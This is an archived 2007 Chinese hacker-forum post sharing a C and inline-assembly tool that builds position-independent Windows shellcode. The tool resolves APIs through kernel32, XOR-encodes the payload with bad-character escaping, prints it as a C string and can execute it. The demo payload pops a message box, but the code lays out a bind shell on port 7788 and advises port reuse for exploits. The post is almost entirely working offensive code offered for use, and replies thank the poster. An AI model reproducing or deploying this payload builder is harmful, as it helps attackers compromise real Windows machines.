岁月联盟 - 技术社区 - BBS.SYUE.COM's Archiver

猪猪 发表于 2007-2-13 09:40

使用C语言编写提取通用shellcode的程序

文章修改:Hume/冷雨飘心
文章注释:我非我[F.S.T]
信息来源:黑客基地

[code]/*
说明:此程序可以用标准c语言string格式打印出你所在ShellCodes函数中编写的shellcode
    用vc编译时请使用Release格式并取消优化设置,否则不能正常运行
*/
#include <windows.h>
#include <stdio.h>
#include <winioctl.h>

#define DEBUG 1 //定义为调试模式。本地测试用。打印shellcode后立即执行shellcode

//
//函数原型
//
void   DecryptSc(); //shellcode解码函数,使用的是xor法加微调法
void   ShellCodes(); //shellcode的函数,因为使用了动态搜索API地址。所以所有WINNT系统通杀
void   PrintSc(char *lpBuff, int buffsize); //PrintSc函数用标准c格式打印

//
//用到的部分定义
//
#define BEGINSTRLEN   0x08   //开始字符串长度
#define ENDSTRLEN     0x08   //结束标记字符的长度
#define nop_CODE     0x90   //填充字符,用于不确定shellcode入口用
#define nop_LEN     0x0   //ShellCode起始的填充长度,真正shellcode的入口
#define BUFFSIZE     0x20000 //输出缓冲区大小

#define sc_PORT     7788   //绑定端口号 0x1e6c
#define sc_BUFFSIZE   0x2000 //ShellCode缓冲区大小

#define Enc_key     0x7A   //编码密钥

#define MAX_Enc_Len   0x400   //加密代码的最大长度 1024足够?
#define MAX_Sc_Len   0x2000 //hellCode的最大长度 8192足够?
#define MAX_api_strlen 0x400   //APIstr字符串的长度
#define API_endstr   "strend"//API结尾标记字符串   
#define API_endstrlen 0x06   //标记字符串长度
//定义函数开始字符,定位用
#define PROC_BEGIN __asm _emit 0x90 __asm _emit 0x90 __asm _emit 0x90 __asm _emit 0x90\
            __asm _emit 0x90 __asm _emit 0x90 __asm _emit 0x90 __asm _emit 0x90
#define PROC_END PROC_BEGIN
//---------------------------------------------------
enum{     //Kernel32中的函数名定义,用于编写自定义的shellcode。下同
        _CreatePipe,
        _CreateProcessA,
        _CloseHandle,
        _PeekNamedPipe,
        _ReadFile,
        _WriteFile,
        _ExitProcess,

        //WS2_32
        _WSAStartup,
_WSASocket
_socket,
        _bind,
        _listen,
        _accept,
        _send,
        _recv,
        _ioctlsocket,
        _closesocket,

        //本机测试User32
        _MessageBeep,
        _MessageBoxA,
        API_num
};

//
//代码这里开始
//
int __cdecl main(int argc, char **argv)
{
//shellcode中要用到的字符串
static char ApiStr[]="\x1e\x6c"   //端口地址7788

        //Kernel32中查找的API函数名称,用来查找函数地址,下同
        "CreatePipe""\x0"
        "CreateProcessA""\x0"
        "CloseHandle""\x0"
        "PeekNamedPipe""\x0"
        "ReadFile""\x0"
        "WriteFile""\x0"
        "ExitProcess""\x0"

        //其它API中用到的API
        "wsock32.dll""\x0"
        "socket""\x0"
        "bind""\x0"
        "listen""\x0"
        "accept""\x0"
        "send""\x0"
        "recv""\x0"
        "ioctlsocket""\x0"
        "closesocket""\x0"
        //本机测试
        "user32.dll""\x0"
        "MessageBeep""\x0"
        "MessageBoxA""\x0"

        "\x0\x0\x0\x0\x0"
        "strend";

char *fnbgn_str="\x90\x90\x90\x90\x90\x90\x90\x90\x90"; //标记开始的字符串
char *fnend_str="\x90\x90\x90\x90\x90\x90\x90\x90\x90"; //标记结束的字符串

char buff[BUFFSIZE];       //缓冲区
char sc_buff[sc_BUFFSIZE];   //ShellCodes缓冲
char *pDcrypt_addr,
    *pSc_addr;

int   buff_len;           //缓冲长度
int   EncCode_len;         //加密编码代码长度
int   Sc_len;           //原始ShellCode的长度

int     i,k;
unsigned char ch;

//
//获得DecryptSc()地址,解码函数的地址,然后搜索MAX_Enc_Len字节,查找标记开始的字符串
//获得真正的解码汇编代码的开始地址,MAX_Enc_Len定义为1024字节一般这已经足够了,然后将这
//部分代码拷贝入待输出ShellCode的缓冲区准备进一步处理
//
pDcrypt_addr=(char *)DecryptSc;

//定位其实际地址,因为在用Visual Studio生成调试版本调试的情况下,编译器会生成跳转表,
//从跳转表中要计算得出函数实际所在的地址,这只是为了方便用VC调试

ch=*pDcrypt_addr;
if (ch==0xe9)
{
    pDcrypt_addr++;
    i=*(int *)pDcrypt_addr;
    pDcrypt_addr+=(i+4);     //此时指向DecryptSc函数的实际地址
}
//找到解码代码的开始部分
for(k=0;k<MAX_Enc_Len;++k) if(memcmp(pDcrypt_addr+k,fnbgn_str,BEGINSTRLEN)==0) break;

if (k<MAX_Enc_Len) pDcrypt_addr+=(k+8);   //如找到定位实际代码的开始
else
{
    //显示错误信息
    k=0;
    printf("\nNo Begin str defined in Decrypt function!Please Check before go on...\n");
    return 0;
}

for(k=0;k<MAX_Enc_Len;++k) if(memcmp(pDcrypt_addr+k,fnend_str,ENDSTRLEN)==0) break;

if (k<MAX_Enc_Len) EncCode_len=k;
else
{
    k=0;
    printf("\nNo End str defined in Decrypt function!Please Check....\n");
    return 0;
}

memset(buff,nop_CODE,BUFFSIZE);               //缓冲区填充
memcpy(buff+nop_LEN,pDcrypt_addr,EncCode_len);     //把DecryptSc代码复制进buff

//
//处理ShellCode代码,如果需要定位到代码的开始
//
pSc_addr=(char *)ShellCodes;   //定位shellcode的地址

//调试状态下的函数地址处理,便于调试
ch=*pSc_addr;
if (ch==0xe9)
{
    pSc_addr++;
    i=*(int *)pSc_addr;
    pSc_addr+=(i+4);     //此时指向ShellCodes函数的实际地址
}

//如果需要定位到实际ShellCodes()的开始,这个版本中是不需要的
/*
for (k=0;k<MAX_Sc_Len ;++k ) if(memcmp(pSc_addr+k,fnbgn_str,BEGINSTRLEN)==0) break;
if (k<MAX_Enc_Len) pSc_addr+=(k+8);   //如找到定位实际代码的开始
*/

//找到shellcode的结尾及长度
for(k=0;k<MAX_Sc_Len;++k) if(memcmp(pSc_addr+k,fnend_str,ENDSTRLEN)==0) break;
if (k<MAX_Sc_Len) Sc_len=k;
else
{
    k=0;
    printf("\nNo End str defined in ShellCodes function!Please Check....\n");
    return 0;
}


//把shellcode代码复制进sc_buff
memcpy(sc_buff,pSc_addr,Sc_len);

//把字符串拷贝在shellcode的结尾
for(i=0;i<MAX_api_strlen;++i) if(memcmp(ApiStr+i,"strend",API_endstrlen)==0) break;
if(i>=MAX_api_strlen)
{
    printf("\nNo End str defined in API strings!Please Check....\n");
    return 0;
}
memcpy(sc_buff+k,ApiStr,i);

Sc_len+=i;     //增加shellcode的长度

//
//对shellcode进行编码,算法简单,可根据需要改变
//
k=EncCode_len+nop_LEN;   //定位缓冲区应存放ShellCode地址的开始

for(i=0;i<Sc_len;++i){

  ch=sc_buff[i]^Enc_key;
  //对一些可能造成shellcode失效的字符进行替换,即微调法
  if(ch<=0x1f||ch==' '||ch=='.'||ch=='/'||ch=='\\'||ch=='0'||ch=='?'||ch=='%'||ch=='+')
  {
    buff[k]='0';
    ++k;
    ch+=0x31;
  }
  //把编码过的shellcode放在DecryptSc代码后面
  buff[k]=ch;
  ++k;
}

//shellcode的总长度
buff_len=k;

//打印出shellcode
PrintSc(buff,buff_len);
//buff[buff_len]=0;
//printf("%s",buff);

#ifdef DEBUG
_asm{
    lea eax,buff
    jmp eax
    ret
}
#endif

  return 0;
}

//解码shellcode的代码
void DecryptSc()
{
    __asm{

/////////////////////////
//定义开始标志
/////////////////////////
      PROC_BEGIN   //C macro to begin proc

      jmp   next
getEncCodeAddr:
      pop   edi
      push edi
      pop   esi
      xor   ecx,ecx
Decrypt_lop:
      lodsb
      cmp al,cl
      jz   shell
      cmp al,0x30 //判断是否为特殊字符
      jz   special_char_clean //是则跳到special_char_clean
store:     
      xor al,Enc_key
      stosb
      jmp Decrypt_lop
special_char_clean:   //进行微调替换
      lodsb
      sub al,0x31
      jmp store
next:   
      call getEncCodeAddr
      //其余真正加密的shellcode代码会连接在此处
shell:   

/////////////////////////
//定义结束标志
/////////////////////////
      PROC_END     //C macro to end proc

      }
}      

//
//shellcode代码
//
void ShellCodes()
{
  //API低址数组   
  FARPROC   API[API_num];


  //自己获取的API地址
  FARPROC   GetProcAddr;
  FARPROC   LoadLib;

  HANDLE     hKrnl32;
  HANDLE     libhandle;

  char     *ApiStr_addr,*p;
  
  int       k;
  u_short   shellcodeport;

  ////////////测试用变量
  char     *testAddr;
  //////////////////////

//这里是网络函数的变量定义,实际编写shellcode时可以使用。
/*
  STARTUPINFO siinfo;
WSADATA   ws;
  SOCKET     listenFD,clientFD;
  struct     sockaddr_in server;
server.sin_family = AF_INET;
server.sin_port = htons(sc_PORT);
server.sin_addr.s_addr=ADDR_ANY;
  int       iAddrSize = sizeof(server);
  int       lBytesRead;
  PROCESS_INFORMATION ProcessInformation;
  HANDLE     hReadPipe1,hWritePipe1,hReadPipe2,hWritePipe2;
  SECURITY_ATTRIBUTES sa;
*/



_asm {
    jmp   locate_addr0
getApiStr_addr:
    pop   ApiStr_addr

    //开始获取API的地址以及GetProcAddress和LoadLibraryA的地址
    //以后就可以方便地获取任何API的地址了

    //保护寄存器
    pushad

  xor   esi,esi
    lods   dword ptr fs:[esi]
   
Search_Krnl32_lop:     //搜索kernel32基址
    inc   eax
    je     Krnl32_Base_Ok
    dec   eax
    xchg   esi,eax
    LODSD
    jmp   Search_Krnl32_lop
Krnl32_Base_Ok:

    LODSD            
                    ;compare if PE_hdr
    xchg   esi,eax
  find_pe_header:
    dec   esi
    xor   si,si       ;kernel32 is 64kb align
    mov   eax,[esi]
    add   ax,-'ZM'     ;     
    jne   find_pe_header
    mov   edi,[esi+3ch]   ;.e_lfanew     
    mov   eax,[esi+edi]
    add   eax,-'EP'     ;anti heuristic change this if you are using MASM etc.   
    jne   find_pe_header
   
    push   esi
                    ;esi=VA Kernel32.BASE
                    ;edi=RVA K32.pehdr     
    mov   ebx,esi
    mov   edi,[ebx+edi+78h] ;peh.DataDirectory
   
    push   edi
    push   esi

    mov   eax,[ebx+edi+20h] ;peexc.AddressOfNames           
    mov   edx,[ebx+edi+24h] ;peexc.AddressOfNameOrdinals     
    call   __getProcAddr
    _emit 0x47
    _emit 0x65
    _emit 0x74
    _emit 0x50
    _emit 0x72
    _emit 0x6F
    _emit 0x63
    _emit 0x41
    _emit 0x64
    _emit 0x64
    _emit 0x72
    _emit 0x65
    _emit 0x73
    _emit 0x73
    _emit 0x0
    //db   "GetProcAddress",0
__getProcAddr:
    pop   edi
    mov   ecx,15     
    sub   eax,4
next_:     
    add   eax,4
    add   edi,ecx
    sub   edi,15
    mov   esi,[ebx+eax]
    add   esi,ebx
    mov   ecx,15
    repz   cmpsb
    jnz   next_

    pop   esi
    pop   edi

    sub   eax,[ebx+edi+20h]     ;peexc.AddressOfNames
    shr   eax,1
    add   edx,ebx
    movzx   eax,word ptr [edx+eax]     
    add   esi,[ebx+edi+1ch]     ;peexc.AddressOfFunctions
    add   ebx,[esi+eax*4]       ;ebx=Kernel32.GetProcAddress.addr
                          ;用GetProcAddress和hModule来得到其他函数的地址
    pop   esi               ;esi=kernel32 Base

    mov   [hKrnl32],esi       //保存
    mov   [GetProcAddr],ebx     //保存

    call   _getLoadLib
    _emit 0x4C
    _emit 0x6F
    _emit 0x61
    _emit 0x64
    _emit 0x4C
    _emit 0x69
    _emit 0x62
    _emit 0x72
    _emit 0x61
    _emit 0x72
    _emit 0x79
    _emit 0x41
    _emit 0x0
    //db     "LoadLibraryA",0
   
_getLoadLib:
    push   esi
    call   ebx
    mov   [LoadLib],eax

    //恢复寄存器,避免更多问题
    popad
  }

  //取出定义的端口地址
  shellcodeport=*(u_short *)ApiStr_addr;
  ApiStr_addr+=2;
  
  //////////////////////////测试用地址
  testAddr=ApiStr_addr;
  ////////////////////////////////////

  //利用GetProcAddress来获得shellcode中所用到的API地址

  libhandle=hKrnl32;
  p=ApiStr_addr;

  k=0;
  ///*
  while ( *((unsigned int *)p) != 0)
  {
    ApiStr_addr=p;
    while(*p) p++;   //前进到下一个字符串

    if (*( (unsigned int *)(p-4))=='lld.')
    {
      libhandle=(HANDLE)LoadLib(ApiStr_addr); //若为DLL则加载DLL
    }
    else
    {
      API[k]=(FARPROC)GetProcAddr(libhandle,ApiStr_addr);
      k++;
    }
   
    ApiStr_addr=++p; //更新指针前进一个字符位置
   
  }
  
  //*/

///////////////////////////////////////////////////////////////////////////
//       下面就可以使用C语言来编写真正实现功能的shellcode了         //
///////////////////////////////////////////////////////////////////////////
//
//简单测试几个API看是否复合要求,只是弹出一个对话框
//这里的函数调用是通过 API[enum](argv); 调用的。这里的enum是指开头定义的枚举
//你可以自己替换以下的代码。推荐使用端口复用然后让你的exp主动连接。
//
API[_MessageBeep](0x10);
API[_MessageBoxA](0,testAddr,0,0x40);
API[_ExitProcess](0);
///////////////////////////////////////////////////////////////////////////
//                   shellcode功能部分结束               //
///////////////////////////////////////////////////////////////////////////

//死循环
die:   
  goto die;
__asm
  {
locate_addr0:
      call getApiStr_addr     //5 bytes
//真正的字符串数据要连接在此处
  



/////////////////////////
//定义结束标志
/////////////////////////
      PROC_END     //C macro to end proc
   
  }
}

//
//显示打印生成的shellcode的标准C格式代码
//
void PrintSc(char *lpBuff, int buffsize)
{
  int i,j;
  char *p;
  char msg[4];
  for(i=0;i<buffsize;i++)
  {
    if((i%16)==0)
        if(i!=0)
          printf("\"\n\"");
        else
          printf("\"");
    sprintf(msg,"\\x%.2X",lpBuff[i]&0xff);
    for( p = msg, j=0; j < 4; p++, j++ )
    {
        if(isupper(*p))
          printf("%c", _tolower(*p));
        else
          printf("%c", p[0]);
    }
  }
  printf("\";\n/*Shell total are %d bytes */\n",buffsize);
}[/code]

collren 发表于 2007-10-7 12:36

Sk. 发表于 2007-10-25 18:00

谢谢,正需要``

页: [1]

Powered by Discuz! Archiver 7.0.0  © 2001-2009 Comsenz Inc.